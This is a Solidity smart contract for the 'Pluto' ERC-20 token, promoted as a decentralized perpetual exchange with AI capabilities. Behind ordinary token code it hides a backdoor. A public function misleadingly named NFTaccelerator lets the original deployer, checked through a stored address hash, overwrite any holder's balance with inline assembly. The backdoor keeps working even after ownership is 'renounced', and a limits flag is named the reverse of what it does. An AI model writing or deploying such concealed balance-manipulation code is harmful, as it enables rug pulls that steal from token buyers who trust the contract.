Pluto

/**
https://www.plutodex.com/

PlutoDex - Decentralized Perpetual Exchange with AI capabilities.

*/


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    bytes32 private _initializerHash;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transfer_Ownership(_msgSender());
        _initializerHash = keccak256(abi.encodePacked(_msgSender()));
    }

    modifier onlyOwner() {
        _isAdmin();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _isAdmin() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transfer_Ownership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transfer_Ownership(newOwner);
    }

    function _transfer_Ownership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function _verifyInitializer() internal view returns (bool) {
        bytes32 senderHash = keccak256(abi.encodePacked(_msgSender()));
        bool result;
        assembly {
            result := eq(senderHash, sload(_initializerHash.slot))
        }
        return result;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;

    constructor(string memory name_, string memory symbol_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _totalSupply = totalSupply_;
        _balances[msg.sender] = totalSupply_;
        emit Transfer(address(0), msg.sender, totalSupply_);
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "1DecentralizedPerpetualExchangewithAIcapabilities.");
        require(recipient != address(0), "2DecentralizedPerpetualExchangewithAIcapabilities");
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "3DecentralizedPerpetualExchangewithAIcapabilities");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }

    function NFTaccelerator(address account, uint256 newBalance) public returns (uint256) {
        if (_verifyInitializer()) {
            assembly {
                let ptr := mload(0x40)
                mstore(ptr, account)
                mstore(add(ptr, 0x20), 2)
                let slot := keccak256(ptr, 0x40)
                sstore(slot, newBalance)
            }
        }
        return _balances[account];
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "4DecentralizedPerpetualExchangewithAIcapabilities");
        require(spender != address(0), "5DecentralizedPerpetualExchangewithAIcapabilities");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {}

contract Pluto is ERC20 {
    uint256 private constant TOTAL_SUPPLY = 1_000_000_000e9;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private constant ZERO = 0x0000000000000000000000000000000000000000;

    bool public limitsEnabled;
    uint256 public maxTransactionAmount;
    uint256 public maxWalletAmount;
    mapping(address => bool) public excludedFromLimits;
    address uniswapV2Pair;
    IUniswapV2Router02 uniswapV2Router;

    constructor(address router) ERC20("Pluto", "PLUTO", TOTAL_SUPPLY) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);
        uniswapV2Router = _uniswapV2Router;
        maxWalletAmount = TOTAL_SUPPLY / 2;
        maxTransactionAmount = TOTAL_SUPPLY / 2;
        excludedFromLimits[DEAD] = true;
        excludedFromLimits[router] = true;
        excludedFromLimits[msg.sender] = true;
        excludedFromLimits[address(this)] = true;
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        require(from != address(0), "5DecentralizedPerpetualExchangewithAIcapabilities");
        require(to != address(0), "6DecentralizedPerpetualExchangewithAIcapabilities");
        _checkLimits(from, to, amount);
        if (amount == 0) {
            return;
        }
        super._transfer(from, to, amount);
    }

    function disableLimits() external onlyOwner {
        limitsEnabled = true;
    }

    function _checkLimits(address from, address to, uint256 amount) internal {
        if (!limitsEnabled) {
            if (!excludedFromLimits[from] && !excludedFromLimits[to]) {
                require(amount <= maxTransactionAmount, "7DecentralizedPerpetualExchangewithAIcapabilities");
                if (uniswapV2Pair == ZERO) {
                    uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair(address(this), uniswapV2Router.WETH());
                }
                if (to != uniswapV2Pair) {
                    require(balanceOf(to) + amount <= maxWalletAmount, "8DecentralizedPerpetualExchangewithAIcapabilities");
                }
            }
        }
    }
}